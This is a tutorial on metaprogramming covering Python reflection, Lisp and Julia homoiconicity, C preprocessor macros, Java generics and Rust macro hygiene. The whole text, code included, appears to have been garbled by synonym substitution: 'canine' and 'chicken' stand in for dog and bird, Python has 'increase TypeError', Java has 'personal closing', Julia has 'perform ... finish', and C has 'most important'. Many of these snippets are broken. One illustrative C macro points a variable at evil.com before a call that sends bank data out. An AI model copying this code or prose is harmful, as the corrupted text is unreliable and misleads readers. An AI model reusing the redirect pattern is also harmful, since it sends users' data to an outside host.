Code Writing Code: An Introduction to the Principle and Observe of Fashionable Metaprogramming

Each time I take into consideration one of the best ways to elucidate macros, I keep in mind a Python program I wrote after I first began programming. I couldn’t arrange it the way in which I wished to. I needed to name plenty of barely completely different features, and the code turned cumbersome. What I used to be looking for—although I didn’t understand it then—was metaprogramming.

We will assemble an instance that demonstrates the identical issues I confronted with my Python challenge by imagining we’re constructing the again finish of an app for pet homeowners. Utilizing the instruments in a library, pet_sdk, we write Python to assist the pet homeowners buy cat meals:

import pet_sdk

cats = pet_sdk.get_cats()
print(f"Discovered {len(cats)} cats!")
for cat in cats:
    pet_sdk.order_cat_food(cat, quantity=cat.food_needed)

After confirming that the code works, we transfer on to implement the identical logic for 2 extra sorts of pets (birds and canines). We additionally add a function to e book vet appointments:

# An SDK that may give us details about pets - sadly, the features are barely completely different for every pet
import pet_sdk

# Get all the birds, cats, and canines within the system, respectively
birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
canines = pet_sdk.get_dogs()

for cat in cats:
    print(f"Checking data for cat {cat.identify}")

    if cat.hungry():
        pet_sdk.order_cat_food(cat, quantity=cat.food_needed)
    
    cat.clean_litterbox()

    if cat.sick():
        available_vets = pet_sdk.find_vets(animal="cat")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_cat_appointment(cat)

for canine in canines:
    print(f"Checking data for canine {canine.identify}")

    if canine.hungry():
        pet_sdk.order_dog_food(canine, quantity=canine.food_needed)
    
    canine.stroll()

    if canine.sick():
        available_vets = pet_sdk.find_vets(animal="canine")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_dog_appointment(canine)

for chicken in birds:
    print(f"Checking data for chicken {chicken.identify}")

    if chicken.hungry():
        pet_sdk.order_bird_food(chicken, quantity=chicken.food_needed)
    
    chicken.clean_cage()

    if chicken.sick():
        available_vets = pet_sdk.find_birds(animal="chicken")
        if len(available_vets) > 0:
            vet = available_vets[0]
            vet.book_bird_appointment(chicken)

It might be good to condense Snippet 2’s repetitive logic right into a loop, so we got down to rewrite the code. We rapidly notice that, as a result of every perform is called in a different way, we are able to’t decide which one (e.g., book_bird_appointment, book_cat_appointment) to name in our loop:

import pet_sdk

all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs()

for animal in all_animals:
    # What now?

Let’s think about a turbocharged model of Python during which we are able to write applications that routinely generate the ultimate code we wish—one during which we are able to flexibly, simply, and fluidly manipulate our program as if it had been an inventory, knowledge in a file, or every other widespread knowledge sort or program enter:

import pet_sdk

for animal in ["cat", "dog", "bird"]:
    animals = pet_sdk.get_{animal}s() # When animal is "cat", this
                                      # could be pet_sdk.get_cats()

    for animal in animal:
        pet_sdk.order_{animal}_food(animal, quantity=animal.food_needed)
        # When animal is "canine" this is able to be
        # pet_sdk.order_dog_food(canine, quantity=canine.food_needed)

That is an instance of a macro, obtainable in languages similar to Rust, Julia, or C, to call just a few—however not Python.

This state of affairs is a superb instance of the way it might be helpful to jot down a program that’s in a position to modify and manipulate its personal code. That is exactly the draw of macros, and it’s considered one of many solutions to a much bigger query: How can we get a program to introspect its personal code, treating it as knowledge, after which act on that introspection?

Broadly, all strategies that may accomplish such introspection fall beneath the blanket time period “metaprogramming.” Metaprogramming is a wealthy subfield in programming language design, and it may be traced again to 1 essential idea: code as knowledge.

Reflection: In Protection of Python

You may level out that, though Python might not present macro help, it affords loads of different methods to jot down this code. For instance, right here we use the isinstance() methodology to determine the category our animal variable is an occasion of and name the suitable perform:

# An SDK that may give us details about pets - sadly, the features
# are barely completely different

import pet_sdk

def process_animal(animal):
    if isinstance(animal, pet_sdk.Cat):
        animal_name_type = "cat"
        order_food_fn = pet_sdk.order_cat_food
        care_fn = animal.clean_litterbox 
    elif isinstance(animal, pet_sdk.Canine):
        animal_name_type = "canine"
        order_food_fn = pet_sdk.order_dog_food
        care_fn = animal.stroll
    elif isinstance(animal, pet_sdk.Chicken):
        animal_name_type = "chicken"
        order_food_fn = pet_sdk.order_bird_food
        care_fn = animal.clean_cage
    else:
        increase TypeError("Unrecognized animal!")
    
    print(f"Checking data for {animal_name_type} {animal.identify}")
    if animal.hungry():
        order_food_fn(animal, quantity=animal.food_needed)
    
    care_fn()

    if animal.sick():
        available_vets = pet_sdk.find_vets(animal=animal_name_type)
        if len(available_vets) > 0:
            vet = available_vets[0]
            # We nonetheless must test once more what sort of animal it's
            if isinstance(animal, pet_sdk.Cat):
                vet.book_cat_appointment(animal)
            elif isinstance(animal, pet_sdk.Canine):
                vet.book_dog_appointment(animal)
            else:
                vet.book_bird_appointment(animal)


all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs()
for animal in all_animals:
    process_animal(animal)

We name any such metaprogramming reflection, and we’ll come again to it later. Snippet 5’s code remains to be just a little cumbersome however simpler for a programmer to jot down than Snippet 2’s, during which we repeated the logic for every listed animal.

Homoiconicity: The Significance of Lisp

Some programming languages, like Lisp, take the idea of metaprogramming to a different degree through homoiconicity.

Lisp, created in 1958, is the oldest homoiconic language and the second-oldest high-level programming language. Getting its identify from “LISt Processor,” Lisp was a revolution in computing that deeply formed how computer systems are used and programmed. It’s laborious to overstate how basically and distinctively Lisp influenced programming.

Emacs is written in Lisp, which is the one laptop language that’s stunning. Neal Stephenson

Lisp was created just one yr after FORTRAN, within the period of punch playing cards and navy computer systems that crammed a room. But programmers nonetheless use Lisp right now to jot down new, trendy functions. Lisp’s major creator, John McCarthy, was a pioneer within the area of AI. For a few years, Lisp was the language of AI, with researchers prizing the power to dynamically rewrite their very own code. As we speak’s AI analysis is centered round neural networks and complicated statistical fashions, quite than that sort of logic technology code. Nonetheless, the analysis achieved on AI utilizing Lisp—particularly the analysis carried out within the ’60s and ’70s at MIT and Stanford—created the sphere as we all know it, and its huge affect continues.

Lisp’s introduction uncovered early programmers to the sensible computational prospects of issues like recursion, higher-order features, and linked lists for the primary time. It additionally demonstrated the ability of a programming language constructed on the concepts of lambda calculus.

These notions sparked an explosion within the design of programming languages and, as Edsger Dijkstra, one of many best names in laptop science put it, “[…] assisted plenty of our most gifted fellow people in considering beforehand not possible ideas.”

This instance reveals a easy Lisp program (and its equal in additional acquainted Python syntax) that defines a perform “factorial” that recursively calculates the factorial of its enter and calls that perform with the enter “7”:

def factorial(n):
    if n == 1:
        return 1
    else:
        return n * factorial(n-1)

print(factorial(7))

Code as Information

Regardless of being considered one of Lisp’s most impactful and consequential improvements, homoiconicity, in contrast to recursion and plenty of different ideas Lisp pioneered, didn’t make it into most of right now’s programming languages.

The next desk compares homoiconic features that return code in each Julia and Lisp. Julia is a homoiconic language that, in some ways, resembles the high-level languages chances are you’ll be conversant in (e.g., Python, Ruby).

The important thing piece of syntax in every instance is its quoting character. Julia makes use of a : (colon) to cite, whereas Lisp makes use of a ' (single quote):

(defun function_that_returns_code ()
    '(+ x 1))

In each examples, the quote beside the principle expression ((x + 1) or (+ x 1)) transforms it from code that may have been evaluated straight into an summary expression that we are able to manipulate. The perform returns code—not a string or knowledge. If we had been to name our perform and write print(function_that_returns_code()), Julia would print the code stringified as x+1 (and the equal is true of Lisp). Conversely, with out the : (or ' in Lisp), we might get an error that x was not outlined.

Let’s return to our Julia instance and prolong it:

perform function_that_returns_code(n)
    return :(x + $n)
finish

my_code = function_that_returns_code(3)
print(my_code) # Prints out (x + 3)

x = 1
print(eval(my_code)) # Prints out 4
x = 3
print(eval(my_code)) # Prints out 6

The eval perform can be utilized to run the code that we generate from elsewhere in this system. Word that the worth printed out is predicated on the definition of the x variable. If we tried to eval our generated code in a context the place x wasn’t outlined, we’d get an error.

Homoiconicity is a robust sort of metaprogramming, in a position to unlock novel and complicated programming paradigms during which applications can adapt on the fly, producing code to suit domain-specific issues or new knowledge codecs encountered.

Take the case of WolframAlpha, the place the homoiconic Wolfram Language can generate code to adapt to an unbelievable vary of issues. You may ask WolframAlpha, “What’s the GDP of New York Metropolis divided by the inhabitants of Andorra?” and, remarkably, obtain a logical response.

It appears unlikely that anybody would ever suppose to incorporate this obscure and pointless calculation in a database, however Wolfram makes use of metaprogramming and an ontological data graph to jot down on-the-fly code to reply this query.

It’s essential to know the pliability and energy that Lisp and different homoiconic languages present. Earlier than we dive additional, let’s contemplate among the metaprogramming choices at your disposal:

Let’s take a look at some hands-on examples of homoiconicity, macros, preprocessor directives, reflection, and generics written in varied programming languages:

# Prints out "Hey Will", "Hey Alice", by dynamically creating the strains of code
say_hi = :(println("Hey, ", identify))

identify = "Will"
eval(say_hi)

identify = "Alice"
eval(say_hi)

int most important() {
#ifdef _WIN32
    printf("This part will solely be compiled for and run on home windows!n");
    windows_only_function();
#elif __unix__
    printf("This part will solely be compiled for and run on unix!n");
    unix_only_function();
#endif
    printf("This line runs no matter platform!n");
    return 1;
}

from pet_sdk import Cat, Canine, get_pet

pet = get_pet()

if isinstance(pet, Cat):
    pet.clean_litterbox()
elif isinstance(pet, Canine):
    pet.stroll()
else:
    print(f"Do not know methods to assist a pet of sort {sort(pet)}")

import com.instance.coordinates.*;

interface Car {
    public String getName();
    public void transfer(double xCoord, double yCoord);
}

public class VehicleDriver<T extends Car> {
    // This class is legitimate for every other class T which implements
    // the Car interface
    personal closing T automobile;

    public VehicleDriver(T automobile) {
        System.out.println("VehicleDriver: " + automobile.getName());
        this.automobile = automobile;
    }

    public void goHome() {
        this.automobile.transfer(HOME_X, HOME_Y);
    }

    public void goToStore() {
        this.automobile.transfer(STORE_X, STORE_Y);
    }
    
}

macro_rules! print_and_return_if_true {
    ($val_to_check: ident, $val_to_return: expr) => {
        if ($val_to_check) {
            println!("Val was true, returning {}", $val_to_return);
            return $val_to_return;
        }
    }
}

// The next is identical as if for every of x, y, and z,
// we wrote if x { println!...}
fn instance(x: bool, y: bool, z: bool) -> i32 {
    print_and_return_if_true!(x, 1);
    print_and_return_if_true!(z, 2);
    print_and_return_if_true!(y, 3);
}

Macros (just like the one in Snippet 11) have gotten standard once more in a brand new technology of programming languages. To efficiently develop these, we should contemplate a key matter: hygiene.

Hygienic and Unhygienic Macros

What does it imply for code to be “hygienic” or “unhygienic”? To make clear, let’s take a look at a Rust macro, instantiated by the macro_rules! perform. Because the identify implies, macro_rules! generates code based mostly on guidelines we outline. On this case, we’ve named our macro my_macro, and the rule is “Create the road of code let x = $n”, the place n is our enter:

macro_rules! my_macro {
    ($n) => {
        let x = $n;
    }
}

fn most important() {
    let x = 5;
    my_macro!(3);
    println!("{}", x);
}

Once we develop our macro (operating a macro to interchange its invocation with the code it generates), we might count on to get the next:

fn most important() {
    let x = 5;
    let x = 3; // That is what my_macro!(3) expanded into
    println!("{}", x);
}

Seemingly, our macro has redefined variable x to equal 3, so we might moderately count on this system to print 3. In truth, it prints 5! Stunned? In Rust, macro_rules! is hygienic with respect to identifiers, so it might not “seize” identifiers exterior of its scope. On this case, the identifier was x. Had it been captured by the macro, it might have been equal to three.

Hygiene in macros is a considerably controversial matter amongst builders. Proponents insist that with out hygiene, it’s all too straightforward to subtly modify your code’s conduct accidentally. Think about a macro that’s considerably extra advanced than Snippet 13 utilized in advanced code with many variables and different identifiers. What if that macro used one of many similar variables as your code—and also you didn’t discover?

It’s common for a developer to make use of a macro from an exterior library with out having learn the supply code. That is particularly widespread in newer languages that supply macro help (e.g., Rust and Julia):

#outline EVIL_MACRO web site="https://evil.com";

int most important() {
    char *web site = "https://good.com";
    EVIL_MACRO
    send_all_my_bank_data_to(web site);
    return 1;
}

This unhygienic macro in C captures the identifier web site and adjustments its worth. After all, identifier seize isn’t malicious. It’s merely an unintentional consequence of utilizing macros.

So, hygienic macros are good, and unhygienic macros are unhealthy, proper? Sadly, it’s not that easy. There’s a powerful case to be made that hygienic macros restrict us. Generally, identifier seize is beneficial. Let’s revisit Snippet 2, the place we use pet_sdk to offer providers for 3 sorts of pets. Our authentic code began out like this:

birds = pet_sdk.get_birds()
cats = pet_sdk.get_cats()
canines = pet_sdk.get_dogs()

for cat in cats:
    # Cat particular code
for canine in canines:
    # Canine particular code
# and many others…

You’ll recall that Snippet 3 was an try and condense Snippet 2’s repetitive logic into an all-inclusive loop. However what if our code will depend on the identifiers cats and canines, and we wished to jot down one thing like the next:

{animal}s = pet_sdk.get{animal}s()
for {animal} in {animal}s:
    # {animal} particular code

Snippet 16 is a bit easy, in fact, however think about a case the place we might desire a macro to jot down 100% of a given portion of code. Hygienic macros is perhaps limiting in such a case.

Whereas the hygienic versus unhygienic macro debate will be advanced, the excellent news is that it’s not one during which you need to take a stance. The language you’re utilizing determines whether or not your macros will likely be hygienic or unhygienic, so bear that in thoughts when utilizing macros.

Fashionable Macros

Macros are having a little bit of a second now. For a very long time, the main focus of recent crucial programming languages shifted away from macros as a core a part of their performance, eschewing them in favor of different forms of metaprogramming.

The languages that new programmers had been being taught in faculties (e.g., Python and Java) informed them that every one they wanted was reflection and generics.

Over time, as these trendy languages turned standard, macros turned related to intimidating C and C++ preprocessor syntax—if programmers had been even conscious of them in any respect.

With the arrival of Rust and Julia, nevertheless, the development has shifted again to macros. Rust and Julia are two trendy, accessible, and broadly used languages which have redefined and popularized the idea of macros with some new and modern concepts. That is particularly thrilling in Julia, which appears poised to take the place of Python and R as an easy-to-use, “batteries included” versatile language.

Once we first checked out pet_sdk by means of our “TurboPython” glasses, what we actually wished was one thing like Julia. Let’s rewrite Snippet 2 in Julia, utilizing its homoiconicity and among the different metaprogramming instruments that it affords:

utilizing pet_sdk

for (pet, care_fn) = (("cat", :clean_litterbox), ("canine", :walk_dog), ("canine", :clean_cage))
    get_pets_fn = Meta.parse("pet_sdk.get_${pet}s")
    @eval start
        native animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), and many others.
        for animal in animals
            animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), and many others.
        finish
    finish
finish

Let’s break down Snippet 17:

1. We iterate by means of three tuples. The primary of those is ("cat", :clean_litterbox), so the variable pet is assigned to "cat", and the variable care_fn is assigned to the quoted image :clean_litterbox.
2. We use the Meta.parse perform to transform a string into an Expression, so we are able to consider it as code. On this case, we need to use the ability of string interpolation, the place we are able to put one string into one other, to outline what perform to name.
3. We use the eval perform to run the code that we’re producing. @eval start… finish is one other method of writing eval(...) to keep away from retyping code. Contained in the @eval block is code that we’re producing dynamically and operating.

Julia’s metaprogramming system really frees us to specific what we wish the way in which we wish it. We may have used a number of different approaches, together with reflection (like Python in Snippet 5). We additionally may have written a macro perform that explicitly generates the code for a selected animal, or we may have generated your entire code as a string and used Meta.parse or any mixture of these strategies.

Julia is maybe one of the crucial fascinating and compelling examples of a contemporary macro system but it surely’s not, by any means, the one one. Rust, as effectively, has been instrumental in bringing macros in entrance of programmers as soon as once more.

In Rust, macros function far more centrally than in Julia, although we received’t discover that absolutely right here. For a bevy of causes, you can not write idiomatic Rust with out utilizing macros. In Julia, nevertheless, you would select to utterly ignore the homoiconicity and macro system.

As a direct consequence of that centrality, the Rust ecosystem has actually embraced macros. Members of the group have constructed some extremely cool libraries, proofs of idea, and options with macros, together with instruments that may serialize and deserialize knowledge, routinely generate SQL, and even convert annotations left in code to a different programming language, all generated in code at compile time.

Whereas Julia’s metaprogramming is perhaps extra expressive and free, Rust might be the very best instance of a contemporary language that elevates metaprogramming, because it’s featured closely all through the language.

An Eye to the Future

Now could be an unbelievable time to be concerned with programming languages. As we speak, I can write an software in C++ and run it in an internet browser or write an software in JavaScript to run on a desktop or cellphone. Limitations to entry have by no means been decrease, and new programmers have data at their fingertips like by no means earlier than.

On this world of programmer selection and freedom, we more and more have the privilege to make use of wealthy, trendy languages, which cherry-pick options and ideas from the historical past of laptop science and earlier programming languages. It’s thrilling to see macros picked up and dusted off on this wave of improvement. I can’t wait to see what a brand new technology’s builders will do as Rust and Julia introduce them to macros. Bear in mind, “code as knowledge” is greater than only a catchphrase. It’s a core ideology to bear in mind when discussing metaprogramming in any on-line group or tutorial setting.

‘Code as knowledge’ is greater than only a catchphrase.

Metaprogramming’s 64-year historical past has been integral to the event of programming as we all know it right now. Whereas the improvements and historical past we explored are only a nook of the metaprogramming saga, they illustrate the strong energy and utility of recent metaprogramming.